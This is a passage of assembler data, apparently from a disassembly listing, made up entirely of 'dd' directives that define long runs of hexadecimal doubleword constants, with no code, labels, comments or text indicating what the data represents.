7D2F643Bh, 8FE69EF8h, 33B03207h dd 0C0E9E94Dh, 0B0D3F682h, 80340E6Bh, 0C66E36EEh, 85F728EBh dd 26AADAE4h, 68E88826h, 491B173Ch, 0F8997CB9h, 2509CE08h dd 647B2CF5h, 0A83AE128h, 750DDACEh, 0E1D13004h, 0E6A88F2h dd 0EE5E12D4h, 0EB2DEE04h, 0F90BF01h, 0E71530B9h, 3A25EE04h dd 0BEC04F65h, 6FDE203Ch, 21220C6Fh, 91DD5562h, 7AD105D0h dd 0B2D16F4h, 3CB77081h, 6A00FCDEh, 53D195Ah, 88572DB8h dd 7A020DCh, 0FF0E597Dh, 0A02EDC11h, 1F022FC7h, 2DF82101h dd 12F14830h, 4979254Fh, 84BC72DCh, 21F5F3A1h, 0D08CC2AFh dd 0A92D81A4h, 8310FD5h, 0F4F5AB58h, 973ACEFh, 0B99ABC7Bh dd 75D68E02h, 0D5506209h, 34C1B82Eh, 3F9328A6h, 0E21C4CE8h dd 4FBE493Ah, 0CE836341h, 551CD3D0h, 310224E0h, 0CCB0E9FAh dd 3AF204C8h, 0FCF911B3h, 504833h, 51A01D72h, 49E9E829h dd 5D3B1038h, 93621213h, 1484606Ch, 83D75088h, 1EAFB980h dd 896A7D68h, 0C75FF1FBh, 347D25D7h, 4BB4BC5Dh, 686050F1h dd 0B280DB9h, 0EFF6E94Fh, 21679C57h, 8C2CB850h, 65380502h dd 41CF6368h, 462E0828h, 2D0F3FF8h, 7412DF90h, 0D1BA03A2h dd 4DB648Ah, 9DC709E0h, 0C858D906h, 0D407AB0Dh, 1FD40C2Ah dd 0E56A4E94h, 6020C42Dh, 590C5Ch, 210612Ah, 285BD931h dd 60C6CD89h, 0AF57767h, 7502985Fh, 6806EDC1h, 62ECDF5Ch dd 631A3804h, 2CC04A0Bh, 28EA422Dh, 16DB2119h, 0CAFF31E9h dd 0AEC60196h, 312246FBh, 74DBD342h, 0E3B2C9Ch, 0EBD2334Ah dd 5D2C9A9Dh, 0F65B8C17h, 0A30CC475h, 6810BFBDh, 585F2F1Fh dd 61AA148h, 48985E02h, 123CC3F7h, 5D24E796h, 62828D0Ch dd 0E6B4595Fh, 6860A1D5h, 40765C40h, 4FE72D10h, 0EA7B00AFh dd 593B4674h, 0BD5D8BFCh, 0DD994A0Fh, 0BDF97030h, 0FEEA9FC0h dd 6014CAE6h, 13C1B450h, 2CBFECAEh, 719F14CAh, 88617A02h dd 3C4F3947h, 537A081Eh, 12EFAC5Eh, 0DE9BA9F3h, 7FF8C1CAh dd 35F53A18h, 2F311239h, 8544FB6Eh, 49445CE3h, 61E2AB66h dd 0C562987Eh, 0F4A1111Dh, 7E092DAAh, 0C551545Dh, 2604AC0Eh dd 2DB50359h, 0D0C315FFh, 2034ED48h, 0BC07B458h, 0B9D9EEAFh dd 253D1700h, 13BE5603h, 49BA1F8Dh, 0BAF70849h, 0FD4E409Ch dd 23342418h, 38FE0F41h, 21C50C38h, 0B4271C31h, 82057AB3h dd 4460046Ah, 3F2D0E4Ah, 507A7010h, 0B17C925Fh, 8BEB1C75h dd 76655BDAh, 3E1C7425h, 9816BFCBh, 0AA9269A3h, 6BCF5041h dd 245D2E51h, 16771320h, 0CC4FE179h, 0EB14291Bh, 25D5DD87h dd 60F9E239h, 726902ABh, 5B84F6EDh, 0D7D7E893h, 5EF1F6ECh dd 68B15043h, 15B43D12h, 82373061h, 0AA6F68Ch, 230BF391h dd 76798A4Dh, 581CF20h, 0F053FC36h, 7F1BECE3h, 0E8187C91h dd 0B831EB6Dh, 97BE92BBh, 183F2145h, 0F74AEAA8h, 255678DBh dd 82E48227h, 0BD2A5E79h, 595B09FEh, 0E9C29BF6h, 95A72619h dd 5C1772CFh, 89ECE7FDh, 1CCC7D2Ah, 69DAB6h, 0E02B1B99h dd 5FC18067h, 126F394Ch, 66BA9022h, 24C28C45h, 7FC70E47h dd 79183DC0h, 0FE54582Dh, 0C20B41A2h, 0BBD24251h, 94F588EAh dd 41681C13h, 4453873h, 0ABB652FDh, 0F2FECFD4h, 0AFE9A1FFh dd 5E75CE68h, 25DFBD51h, 0DDA9FDD8h, 0C627CD76h, 38517F80h dd 715FE361h, 517EBFEh, 0D337D5B9h, 205B6C65h, 0FEFB70B5h dd 0A17FE901h, 0FD08A7F1h, 53593AA3h, 0F8E9EFDBh, 0E9109D5Bh dd 0E93D43E7h, 2BE047B7h, 0E6C78343h, 3AB05B4Dh, 0A22A5927h dd 0C4B13A96h, 161B12A9h dd 2CAEE89Bh, 4717835Eh, 86EA15C2h, 80125808h, 502139C8h dd 12F696C5h, 0FB5E3722h, 9A031956h, 127B2A63h, 0A630D562h dd 0B352500Dh, 0F6F29297h, 0B05D693Fh, 53B70E0h, 0B368469Fh dd 0C4D6E84Bh, 0E9BC260Ch, 60C491C0h, 235CE9B9h, 4A625FE2h dd 6BCB40CAh, 0E4999F30h, 7D623872h, 0C0448F5Fh, 2ACD4183h dd 0C96DE23Eh, 58AB5E5Eh, 86262109h, 0A4028464h, 0C0D2E0E1h dd 2F02A9FCh, 0BCC43767h, 252AE925h, 13FEEBA2h, 1FB2B647h dd 7DA72190h, 0FE95A59Eh, 9B55510Bh, 85C720BCh, 0C69545FAh dd 1E3D8174h, 0B3E63B09h, 3385E90Ch, 86C52D30h, 0A3B253B9h dd 1E588CC9h, 2F450504h, 0DE2132Ch, 0B6933580h, 1690D8ADh dd 0CA3D5D09h, 9D240062h, 844DB456h, 1C400883h, 0AA5AE914h dd 0B0E741AEh, 0BE054472h, 9941090Ch, 25B3D850h, 13C5B14Ch dd 281FE208h, 4376164Ah, 0B797E0E6h, 78664D26h, 9CEBC08h dd 0CA03E089h, 497ED057h, 4161B60Bh, 639C0F7Ah, 0D9739647h dd 0B76FEE9Bh, 2D921604h, 2CBBEA53h, 0B955743h, 2D2434DEh dd 28FC1D68h, 0DCA20FC2h, 22C56115h, 85842801h, 30BA71CEh dd 53697790h, 0E1812501h, 64FD23D7h, 0A82A4071h, 29774BDFh dd 0EB46D2E2h, 5016B24Eh, 78BB386Bh, 0BF61E392h, 54505720h dd 7ACFBE58h, 22BA0D40h, 0ED704124h, 7BCE3800h, 24662D3Eh dd 0A0F2A23h, 290705C8h, 0E01CC422h, 0D8BD55ABh, 1874012h dd 6A05F027h, 44D5038Bh, 0B4CE4BE7h, 4BE2EF15h, 0BC67FA3Ch dd 8C728F7h, 0F6B75E4Eh, 2275858h, 654FA1E9h, 3E0ECDBh dd 170D3500h, 2D401BCCh, 0D9EA0FECh, 0E9EF214Bh, 0EFDEAD1Eh dd 9CDB962h, 0ED8907FFh, 4FF86471h, 0E4C5909Eh, 0ECD113E0h dd 0FD0909A8h, 6164D55Fh, 0F30BCDECh, 74486769h, 30E6C157h dd 256E815Bh, 1939105Ch, 12E99060h, 0A848522Fh, 777F7E21h dd 35012EECh, 8446638Ch, 0A22EC529h, 3230DFBDh, 9FDECBE9h dd 0FC59E4A5h, 24BCDF05h, 5AAD5B6Ah, 4304136Eh, 80180652h dd 0FB79393Ch, 0EC69B8F0h, 0B382F710h, 68E8A777h, 0AB2DC2B9h dd 9CA1844Bh, 7648C882h, 0FA08A06Dh, 0D1C2E3BEh, 0BC56F1Dh dd 55D199D8h, 0BC94AB13h, 260A2BFBh, 8921270h, 923D5EA9h dd 38783D9Ch, 0A93DBC4Bh, 60BBC97Ah, 9A95A9D6h, 0E91F30D0h dd 71925A21h, 2802687Ah, 67B069A3h, 19FB075Fh, 16CCEA51h dd 9B442AEh, 9F585BDFh, 0E038C698h, 0FDD27021h, 0A96C74ABh dd 8BAAD357h, 0C62F7D94h, 0F2CD5602h, 2592445Dh, 0C1FEDFF8h dd 0F0EAF273h, 0EDB13B50h, 0BD27A692h, 2AD71E11h, 0EA211006h dd 0FDDD2FD0h, 0DE9F71C6h, 0B27F4B75h, 88467D7Dh, 0F7F20F84h dd 0EF3F2DFEh, 0F86B2D7Fh, 7707829Eh, 65642C11h, 236CF8F7h dd 2D0DC301h, 3D597A0Ch, 6383C06Bh, 0ABF7BA7h, 0B0085EF4h dd 0CBDC3BB6h, 7268560Eh, 0E9A03053h, 51B7514Ah, 0AD56E24Dh dd 0B77453DCh, 74882F1h, 2B8A5A13h, 0C22AA15Eh, 4C78AC42h dd 0C2006EE2h, 0C6BF5708h, 12017C0Ah, 0B8B8FEE9h, 0FF0CC4BBh dd 0D3BB5300h, 344FBE26h, 62D12F0Ch, 655809E9h, 37E0A406h dd 66810BB6h, 25EDB68Fh, 4469A549h, 5BB86AE3h, 29EB29E1h dd 0CA569F4Fh, 843EB429h, 3ACBFE96h, 0A3250117h, 0A7680987h dd 0D39D531h, 0CA142A2Ah, 55530307h, 0E14E3DACh, 473F0818h dd 0E47E3626h, 83D4AB63h, 0C61C0818h, 4C992F7Fh, 0BA0DDFFEh dd 0A67F361Dh, 4D23311Bh, 0E03AEC80h, 0CFEC4AA5h, 0BABD24Fh dd 79E2FAB6h, 87F1D305h, 0F6019813h, 8E1C0D1h, 410F7D30h dd 0EBB72064h, 0C4FFED0Bh, 40B3C0E3h, 0EBBD96F4h, 0C2815D72h dd 0A5BF10A8h, 0C7C6A05Eh, 95DC7983h, 0E4B34778h, 0DEEF5A12h dd 0A3575AC9h, 21CFDECh, 3F076A0Bh, 110315Fh, 0D6F97C44h dd 0DF70CA9h, 522F3372h, 6E9C1F3Bh, 202C0908h, 51B66598h dd 0B5E6507Fh, 88524001h, 35DCE9EEh, 0BBD28F53h, 0B70EDEC8h dd 55CBBED9h, 11F546ECh, 0F710F965h, 0F978D76h, 5E35837Ah dd 37E9BD43h, 0FF410841h, 9F3DF228h, 0A26EE017h, 68E661C2h dd 0F2E262C5h, 0DD8A2799h, 486210D6h, 0EF294805h, 581FFAFEh dd 277D7164h, 9AF29BE2h, 58D11526h, 1259C88Ch, 35444EEAh dd 48A5243h, 68D42Eh, 2318FABBh, 4B3BF414h, 0EC0ADD80h dd 5C9AC3F9h, 0D40A1E01h, 2DE8015Dh, 90550746h, 2AC891A5h dd 0B53245Dh, 0EE0244FEh, 0FA3D774h, 3F66C84Ah, 0A46B2D41h dd 0B2A0061Fh, 4F04425Dh, 0BA30E927h, 38028CCh, 5066F5EFh dd 0F4B87CB4h, 0EC28C01Bh, 0F94EA106h, 75EB1FD0h, 2E510960h dd 1A88F301h, 3BEB2408h, 14727AE2h, 0D75B5402h, 5E2083BEh dd 0D70124ECh, 18053D86h, 0AA5A3F2Fh, 9F691A98h, 90B2B862h dd 0E8E0082h, 5DA3F546h, 4AEDA8FDh, 7BDF2FFDh, 2DB500DAh dd 0B8663D1h, 5D80114h, 7BE4807h, 29FE683Ch, 6604A032h dd 2527C53h, 7F94251h, 0E95EE3E9h, 0CC03AC87h, 41FB21D4h dd 8F4F8DF0h, 68E5D82Ah, 634E5E18h, 302BA70Ch, 0C7241A3Bh dd 913BD14h, 0AE65E931h, 0B500D6ACh, 295B3F08h, 30C059CBh dd 5C180276h, 91DD4C01h, 5A420841h, 0B9BD00F3h, 2D5F0962h dd 0F83BB9A1h, 1F502ADh, 0C2023E07h, 90734014h, 0DD21281Ah dd 5AED01CEh, 0E90BFEBDh, 5A9F2C9Bh, 0E32F793Dh, 1CE9133Ch dd 0C7FED181h, 92E536DCh, 53583EC3h, 0BAC09197h, 0E4F11609h dd 887A2D32h, 8454A4B4h, 0D53CF7E5h, 525B184Dh, 0FA14E52Fh dd 30BE98BFh, 0EB1710C6h, 0FA01B807h, 2090519h, 0F4D47B56h dd 14352E1Fh, 69150203h, 0EE742DE3h, 0C342038Bh, 9A94E3A0h dd 0E910E02Fh, 0FD2D5895h, 5117E9D4h, 880E31FDh, 0F15FCAF9h dd 62FA4970h, 32AE0A5Ah, 0E048E827h, 200FB252h, 7CD38853h dd 0B1E66E92h, 2D77B411h, 52A27134h, 0E4F66490h, 77E3181h dd 1616CFEFh, 9E201C40h, 6C2927FDh, 0A4605F7Ch, 257C5557h dd 9BF5AF68h, 4E53F8B1h, 2E9172Fh, 0D8813D31h, 3C1752CAh dd 0BC80303Fh, 6162B2E7h, 26CDD831h, 0B0500001h, 0EB80076Fh dd 0E5C32820h, 4306F578h, 0C5B0C9Bh, 0A3B8ABF0h, 93AE85EAh dd 0CDC850FEh, 4C02A904h, 9E515FBDh, 1E02F51Ah, 0A07D7029h dd 612B12A9h, 9679833h, 58C3364Ah, 0B9902FFh, 4FD67EBCh dd 0B9EB107h, 0A7B36757h, 35C4B07Dh, 0B90CC0A4h, 0AB5096Bh dd 0DD96817Bh, 64D6A5h, 8826850h, 37983CE6h, 4ACCA20h dd 89F73D35h, 0E4DFC2A8h, 304321D4h, 0F16F02FDh, 74AA1DA3h dd 0E237005Dh, 0BF898C20h, 68F86A00h, 0EA9C6A27h, 3C967B6Dh dd 823CA5E9h, 0C172C20Ch, 3A960079h, 179408Ch, 8880E98h dd 68165EF1h, 6B885333h, 7366C151h, 0B9591395h, 0E0A613D5h dd 16D9A3A8h, 0E5F66E74h, 79184D4Dh, 7CB8187Bh, 78521318h dd 2543DE74h, 0EF09E3D5h, 29B77F8Fh, 0B7E22B06h, 3028127Fh dd 1275BC35h, 80E8DBB9h, 36E068B0h, 500CE980h, 2BAC416h dd 79DF1BEFh, 90E0D631h, 330237B9h, 0F0E91E0Bh, 93FB55B0h dd 166C6884h, 0EE7138FBh, 5B173B94h, 0B83B20EBh, 29024102h dd 6183250Ch, 21A58DEh, 0A27A7605h, 908B513Fh, 43682681h dd 4B95737Dh, 6885FE94h, 0AD3A6BF1h, 0D94284ECh, 0E5DC8016h dd 0ECE8D5F6h, 5383C1B5h, 0FAA2C160h, 7C5870E7h, 0D35B70FCh dd 0B15E920Eh, 6857F24Ah, 0EB80070Dh, 73E484E6h, 2706B1C8h dd 25A6917h, 684E01BDh, 0FD8B3D54h, 68B20198h, 357A7160h dd 0B10E4093h, 0E90EA310h dd 73EDFD33h, 13345526h, 820ED4F8h, 0D1F32C80h, 3126172Ah dd 81C0F32Dh, 90D07E1h, 0D1F77EEDh, 921C400Fh, 0AA8C846Dh dd 46E2DA67h, 7296A9FBh, 9D979A3Ch, 2F118D4h, 759E6608h dd 0D62D5E89h, 0AE426453h, 98B02961h, 6855203Ah, 9C917FE3h dd 12EC6EADh, 0F358BA68h, 1F8A10CDh, 74C38000h, 2C5BD808h dd 0ED2ECBA0h, 68418791h, 0E78A3703h, 0CB1067BAh, 79426356h dd 3C1F24Ah, 0D6B35A0h, 0C5A8E8D1h, 2F2D98DEh, 0B44FC31h dd 6A4921B3h, 0CF80C705h, 0C9B5633Dh, 8B60D3FFh, 0E42B1640h dd 3005B16Bh, 5012E7A4h, 5D215D4Dh, 0BA0488DDh, 277E7DA7h dd 804434F5h, 149603F0h, 7DD78609h, 0F4188722h, 8A050309h dd 75F11753h, 7B70FF4Dh, 58234269h, 6B5392Fh, 3DE53332h dd 9A568C27h, 0B4C95DA3h, 92E2FA5Dh, 0F3896CDDh, 5727443Ah dd 0FD29070Dh, 4F9AEFD3h, 9D78EB0Eh, 3651B55Ch, 9E6FE941h dd 0F2048E26h, 0BB178379h, 21E3E41h, 526073ECh, 90840114h dd 0E9F9319Bh, 2A162A65h, 0F406B801h, 0E2E33AF2h, 4754605Dh dd 29842D35h, 88003D2h, 0D8A05059h, 60FF0A8Dh, 3013E21Ah dd 70067B37h, 5C4CC1CAh, 0FE756D28h, 251F78F2h, 65FC01F3h dd 0BD521A17h, 0DDF05705h, 3CDFCCAEh, 8E6E6D49h, 0F9F70BE9h dd 68578206h, 46ED4320h, 1D685F02h, 88A17963h, 1C935CA3h dd 53BCFAAh, 0F238E957h, 5F734BE2h, 0EC5915E6h, 0C969E983h dd 9AF2324Fh, 885F97C4h, 0E640C532h, 8A05005Ah, 2975827Ah dd 0D8B558C1h, 0DD72B504h, 1096317h, 4FAD10DCh, 0BEE06622h dd 311BB54h, 0EE8B1F5Eh, 2035FB4Fh, 0EB514BAFh, 60BFFB87h dd 0DAF663CAh, 0F50FEAF6h, 63A2B151h, 67289AF1h, 69E31898h dd 23E9C401h, 0C3C93420h, 0F8F16497h, 835B49E2h, 0C20D5904h dd 0F2AFC13h, 4B633B61h, 7CA35F89h, 2A2FB2E8h, 532D195Bh dd 40476648h, 60DB2D4h, 0A34AF280h, 1206CED7h, 0ACD528CEh dd 0E95909A1h, 57654293h, 87FE6B96h, 0B48C5F5Ah, 0B1025586h dd 44A5D4E2h, 2D5FC4Eh, 1C641BB9h, 398B5D66h, 85096778h dd 7FF1CDF2h, 7DE7566Ch, 5D4A7678h, 0FED14D8Ch, 0CE71ED41h dd 0EC284282h, 0C1775BE6h, 53C5457Eh, 0B52EC42h, 68588C00h dd 0D4B12CC4h, 1013D3A8h, 22E03155h, 732E1FA7h, 0ABFAD341h dd 7328161Ch, 0B4DDB20h, 7DE5685Ah, 0BD80F16Dh, 78FE689Bh dd 0E7C89D4Dh, 0C61C048Ah, 0F1D6E95Fh, 70D2DA90h, 57FAA21Ch dd 0BDCC31E3h, 0F4E05B89h, 84B812AEh, 2A71F1A6h, 643039C0h dd 5954977Ch, 0E026E98Bh, 1E95BEDCh, 8F36FD66h, 0E2521E52h dd 0C8BE9377h, 2D4B126Ch, 0E9525920h, 0B75D49CBh, 22CCE102h dd 6C6015D1h, 9C2FA82Ch, 0E91F81D9h, 807DDE64h, 0F33E3077h dd 55BDED37h, 14D9E2Fh, 432F0595h, 0D370C82h, 0C3824921h dd 0A45C5465h, 0C6033479h, 905F8843h, 2D88E0B9h, 373758EDh dd 2ECBE14Ah, 40DB9D8Bh, 43D7CD9Ah, 0D7F5DA83h, 684183E5h dd 306F7EB0h, 0C02228C8h, 2FE97A39h, 0B2ED2EDh, 44903442h dd 0ABE74E8Eh, 58E9211Fh, 55696E02h, 9FAB316Eh, 0F4C06A3h dd 0FB25594h, 0A78F966Ah, 22D729FDh, 9100DBEh, 87772C8Bh dd 3E16190Eh, 2C6090Ch, 7BD173C9h, 0E0F2C44Fh, 5E6EA4C8h dd 0E8C4DC25h, 0A7D68CC4h, 0F422D00h, 0D4F42E31h, 8266E448h dd 0C1A70739h, 51D7EB46h, 0E5D96206h, 0BFAA75C4h, 0FF5DB985h dd 0E9072138h, 59CF8A50h, 389C0B2Dh, 0FFC239A3h, 94D70709h dd 2065863Fh, 594EDBE3h, 98AA22C5h, 444FC5BEh, 68E022E8h dd 45CB4A55h, 6F065805h, 503D635Dh, 31EA4F64h, 634941E2h dd 5EA85A7Dh, 0D10D4A7Eh, 0BE1115A7h, 0E273168Dh, 0EB1725h dd 0DFEFC478h, 799D01EEh, 317D6BC0h, 5088C30Ch, 792D6882h dd 0D10D4950h, 0BB5A8479h, 8BC0D47Fh, 2D73BFE7h, 30502B85h dd 87651A14h, 0BDDC2C93h, 0C8EE94h, 6F6890C3h, 0B0F32966h dd 43F45092h, 33704F2h, 0FFD0F753h, 9F2D4700h, 0EA142760h dd 0CBBF3C93h, 1837FA4Bh, 9DA3E03Bh, 60CCEEC3h, 0A5BB6ED2h dd 74096453h, 0D1492F68h, 4C2C82B8h, 72D541F2h, 53CD0CDCh dd 19E388Bh, 234A52E2h, 96CEDAA4h, 46043B9Fh, 0BC74E168h dd 3743DCF3h, 88483D6Ah, 9DDF83E9h, 0E8BF6A25h, 56F94FC2h dd 2B036200h, 0B6B9515Fh, 0B225902h, 7AAA4CE9h, 6CF32507h dd 57F2BE74h, 66933967h, 68C5B21Ch, 9CBB101Bh, 8AA94234h dd 6ACC7E43h, 0E63B801Ch, 6FE0D995h, 37855ABh, 0DE025C98h dd 897B5458h, 0D92BC0FBh, 33D3BF7Ah, 555A42A5h, 5FFDD3B0h dd 0CB63B095h, 4618837Bh, 0D02929A3h, 8FD915Ah, 8E331C8Fh dd 2D96F188h, 166D89EDh, 5A45EF03h, 0A0D91CFFh, 9A397ED3h dd 27B9E03Bh, 4197984Ah, 0FE81C874h, 0F70187C2h, 0A9FE41D3h dd 46C578h, 25660792h, 8ED4895Dh, 0F1CE7427h, 68823A5Ch dd 4E37861h, 0E779E1BDh, 0FD13EE71h, 0D84589AAh, 853DBBBCh dd 96B59829h, 6CF78016h, 9D2006BFh, 5C09C7BAh, 0B2312768h dd 163F52F8h, 13F8215Fh, 0F14A1B8h, 310C544Eh, 795EF027h dd 0A10049B7h, 46CA2C27h, 7F21B901h, 0D929C482h, 0F5AF7920h dd 6B769D3Eh, 0FA18ACF9h, 0CDB11EAFh, 0D9617BEEh, 661B2C0Eh dd 1424BA41h, 40EF0101h, 29714CD7h, 455D6E27h, 0F051AF53h dd 58F333EEh, 0B710542Fh, 55801AF1h, 398B01BDh, 0CC686995h dd 3F994D18h, 96D789E4h, 5A5750F4h, 0C05D5F2Dh, 4B08E940h dd 0A610E41Ah, 0F00E032Dh, 0F26F32D7h, 4041FDC9h, 78286BDBh dd 7C4909CEh, 7C003555h, 14BD6072h, 0C93FF6C1h, 11200FA3h dd 0BAFE9D5Fh, 0F52955A7h, 0F90780DDh, 0F9159E09h, 4AB64CEh dd 0DA2578EBh, 0B99E84F6h, 0FCE90DF7h, 0B73F3AEEh, 0E08D2DDBh dd 27B3F5h, 0C01DEB80h, 0D3F605E3h, 8C3FE30h, 0B02CB252h dd 7B4E414Bh, 4B6814E4h, 92471F56h, 0F02B2494h, 5F36DAAh dd 1C0434BCh, 0E13F725Fh, 656BFDE3h, 26127A70h, 31B1DF01h dd 0A42F38B7h, 5914F8FFh, 5080B34h, 6A1E7970h, 4689DAFh dd 178D840Ch, 3B2FF81Ah, 0C858B808h, 63127258h, 0DA0319A9h dd 3E3203FDh, 2EC1BCB4h, 40CACCA0h, 0FD0F2D6Dh, 4508307Ah dd 7AB911B7h, 2C3D8905h, 1462820Eh, 0CB22A7D0h, 0CAD49F62h dd 0CCC6224h, 6A1D0049h, 0DCCF8128h, 762CBC21h, 9A177F47h dd 0F82A890Eh, 12E3F710h, 9CAFA53h, 76517618h, 20BC7A25h dd 649711ABh, 0F1712E75h, 372F6913h, 0AE09D564h, 33388771h dd 680B7033h, 27A20379h, 2B223F3Dh, 0F22D6865h, 4B285CA5h dd 0E077F876h, 0EBC1F6F9h, 2C4B5378h, 0C2A682Fh, 56023C02h dd 8A2BECBEh, 0F663C81Fh, 26013DDh, 4AAE082Fh, 8FE8290Bh dd 5BC40A1h, 4F8D685Dh, 0A590374Bh, 0D739A902h, 8E1F61BFh dd 2C769D1h, 7B7441C1h, 12E277D0h, 0E5C6425Dh, 397080C3h dd 1BE90C72h, 0D002439Dh, 7A7A5C15h, 90414F10h, 58FAEFAAh dd 72318A24h, 0F217B918h, 0A02C1E9Dh, 0AB91C849h, 16070502h dd 5A4C646Ch, 0D83B445Fh, 31BA13BAh, 2ACE969Ch, 43D454A9h dd 0AD5AF72Fh, 0F3048DB0h, 544B1348h, 132C25BAh, 1D1E012Ch dd 0D6FB318Eh, 8D5C1242h, 80E5E95Bh, 0B6188004h, 235AB174h dd 63328180h, 540CC05Ch, 0E9C74E42h, 4E3B0C4Ch, 7F8F6DBEh dd 4E6B959Bh, 9D659EFDh, 5DC298D9h, 0B04D46BCh, 1C442C43h dd 279E9C07h, 8C205A7Ah, 685602A0h, 58030B89h, 0B2EB4FC0h dd 0CFF04D3Bh, 83A10BFh dd 9E0A35Ah, 0E6616F68h, 200820C9h, 7ADE689Fh, 4B688090h dd 0AE9E5354h, 0D1404D5Eh, 3A24E5C2h, 971C9832h, 0FFEFF320h dd 364B352Bh, 81110EFh, 50FD5B02h, 0ED7E0A68h, 924FE646h dd 9B6B1212h, 7910AA72h, 95CE13F4h, 39C81FEAh, 0F11CD417h dd 0E9070067h, 59B92316h, 0B402A568h, 0D75AE9B5h, 0F1778F58h dd 436B2C26h, 0EB070D40h, 94526059h, 76800A81h, 0EF25580Bh dd 8085DF28h, 60AABD9Bh, 0B70B6EC8h, 20C5B105h, 0FCC4A208h dd 0B6E9588Dh, 0F59F5B60h, 3E6F27A9h, 7216572Ch, 0C231FA4Ah dd 4C400B3Ch, 7021266h, 55DFF736h, 0D5DBF356h, 0CDFE1E03h dd 5F05E5C0h, 89D6030Ah, 58B3C530h, 3059EAA1h, 8872D455h dd 86693191h, 0D66EFC5Ah, 0DAD9EA97h, 0B23AD1DDh, 5BC38081h dd 17481F63h, 0EA7173E9h, 0C12E7C29h, 399E9607h, 0B320840Bh dd 48DE97ACh, 542F598Fh, 4C2104BAh, 8C84BF78h, 0F8111B82h dd 63209016h, 57520ACCh, 1FE4985Ch, 838BE888h, 987F7ADAh dd 2439F65Eh, 2183D27h, 45A108ABh, 0F54542DFh, 7C51F782h dd 0B5D1E4F5h, 61F9C909h, 37FAA364h, 9D8B82D4h, 6B497F48h dd 91610888h, 84664F37h, 591FAED6h, 0CE04D828h, 498E515Bh dd 1940C325h, 2C69AFE9h, 817274C7h, 0AE42E40Dh, 6CC5706Eh dd 8F6630CBh, 75E6E159h, 804131C2h, 280079B7h, 0C71480CFh dd 16FC66DDh, 16F042EFh, 2028B0B1h, 0BE0569A6h, 3EA557BCh dd 0BA96F5E8h, 0D4EFE07h, 60FF2985h, 4F6853A1h, 723FCA90h dd 2DA5D05Bh, 8B614B0Bh, 54F0533h, 7C040714h, 7E7F0405h dd 0CCBAEAD1h, 87F229B9h, 0BC5DDEB0h, 0E73C4E0Eh, 57ED2DE9h dd 97C1C893h, 0A6B87CBAh, 3169570h, 4B64F8F7h, 0D82EFF27h dd 951490E6h, 0C613E067h, 0BC06C0BCh, 0B2190A49h, 7F77CE05h dd 92C9017Ch, 72DE942Ah, 0A277BEF4h, 41F02905h, 9824E211h dd 199E01F2h, 8957174Bh, 29F120D7h, 0BA682181h, 0C78A2218h dd 7E8A1525h, 0A7D88856h, 51FA010Bh, 36BB62ADh, 0FE2A8796h dd 0E92F2417h, 31B6039Dh, 33DE93F3h, 0CFB65E08h, 0A189A62Fh dd 6E505A58h, 0F0FFB02Eh, 0BFDDF780h, 0C200B779h, 0B8B692ADh dd 6D2D35C6h, 1144A854h, 885F50BEh, 0D18FA2Ah, 290F1EBDh dd 0AE32579h, 252A0F40h, 30ACC94Fh, 0B879D620h, 19BC5A13h dd 0D914E300h, 1D74356Bh, 42538776h, 8E88578Fh, 0EF93A0DFh dd 58B1C423h, 9A1EA4AEh, 2D27644Ch, 88126F0h, 8EE82F5Fh dd 0E4D813DFh, 0D764B930h, 0F4C4557Ah, 156C17C0h, 0C70D0058h dd 0E911375Ah, 219DB54Ah, 0ED713955h, 40BE68CCh, 304BE91Fh dd 0D9BB3380h, 0BD6A4B4Ah, 0B43C780Bh, 0D0F6A7FEh, 90A2D7Bh dd 40885AD9h, 0DE8703C0h, 0A4E7C683h, 316E970Eh, 30EB02F5h dd 62FDD171h, 108017E5h, 3E3C2DE3h, 0FC226613h, 0B4FEA436h dd 0CA5B0500h, 7584DAFCh, 1CE7BD1Ah, 0E11691B4h, 2CAD1116h dd 6C587Ah, 0D64229C8h, 4911FFC9h, 19A26F5Dh, 0B290523Fh dd 5BA48C5h, 0E01471Ah, 0BBF40F80h, 0E4FD5BFFh, 0DC5AEBCBh dd 0FFD075B8h, 0D56E8D19h, 0CB983FC1h, 2B8241F8h, 562FC3F2h dd 0E909F3F9h, 5849E03Dh, 5F130A2Dh, 42AF0244h, 374030Dh dd 85A356E4h, 5A03BB39h, 5E685861h, 4F02B3DCh, 8A1954ABh dd 9EA5E004h, 703387A7h, 1129418h, 805F241h, 3B9588AFh dd 1E8A895Bh, 0E62E0E12h, 92F4838h, 2482C9Bh, 849FF1ADh dd 0F580EF06h, 4C014531h, 8418DCFh, 914AF830h, 4B549EEDh dd 73749607h, 0B7595C85h, 28A39CF0h, 20FA48A6h, 0D8FF16A4h dd 7995FB1Ch, 8905E889h, 2C9055E9h, 541ECCC7h, 13BE444Dh dd 57B3AA77h, 0B3335A72h, 74081682h, 0EE34578Dh, 906BE964h dd 37221F1Fh, 732D2700h, 548EE5Bh, 3B1D0708h, 0CAF82931h dd 11503E07h, 0B7FB85Fh, 1D32970h, 0F05918FCh, 0E48C3175h dd 0BB0CF58Fh, 7812270Bh, 0A1008061h, 964F2943h, 0A687490Ch dd 699F06Eh, 0FE03ED81h, 0E91A7D77h, 61AABD53h, 7A1C8BECh dd 0F7C00EF2h, 591068E9h, 24BC3FE1h, 9547E8C4h, 0AF2B845Fh dd 2771A0B4h, 8FDF608Dh, 63AD5AABh, 1348B989h, 0BDC19F6Ch dd 86D4A60h, 0A1DF8F3h, 0D3F70A39h, 734F028Ah, 8B727B97h dd 5D0F6709h, 20DD7803h, 0F0BFFED1h, 2B140B9Ch, 25FF7147h dd 0FEB2D077h, 0C3BA0502h, 685DF543h, 0BEB769FBh, 60D48001h dd 0EBD132FDh, 0FF5FD5FAh, 0FAD6F9F8h, 0CE314674h, 493D5FFDh dd 0A3688804h, 475AEE1Eh, 290A022Ah, 0D4AFC27Ch, 9764B591h dd 72F2D7B1h, 90D6CCC8h, 5F428952h, 5C8272EFh, 0F62D7868h dd 2FF0908Bh, 68369854h, 0D8A29788h, 0C2B020AEh, 0E2D5E94h dd 5AD9093Ch, 428825B2h, 73278FC6h, 0C3A27C99h, 134CFF65h dd 0F34B7858h, 0D886CF02h, 6F78234h, 0AB550419h, 5A217E2Ch dd 0AE8594D8h, 0AFB425E2h, 7C53B992h, 672202B8h, 18772E9Eh dd 3474A896h, 9C146380h, 67133187h, 0E2000588h, 71E24CA3h dd 0E1A725E9h, 77E9E3DCh, 0F7666848h, 7526DF58h, 11CDB826h dd 5531841Ah, 4425AC45h, 873F2047h, 2E95F50h, 17696816h dd 0AE7629BFh, 5751C977h, 53CE327Fh, 55D28558h, 101D29EDh dd 0EA1C5845h, 0BA13EC2Dh, 6D08E3A1h, 0FF4A3FE5h, 6312E521h dd 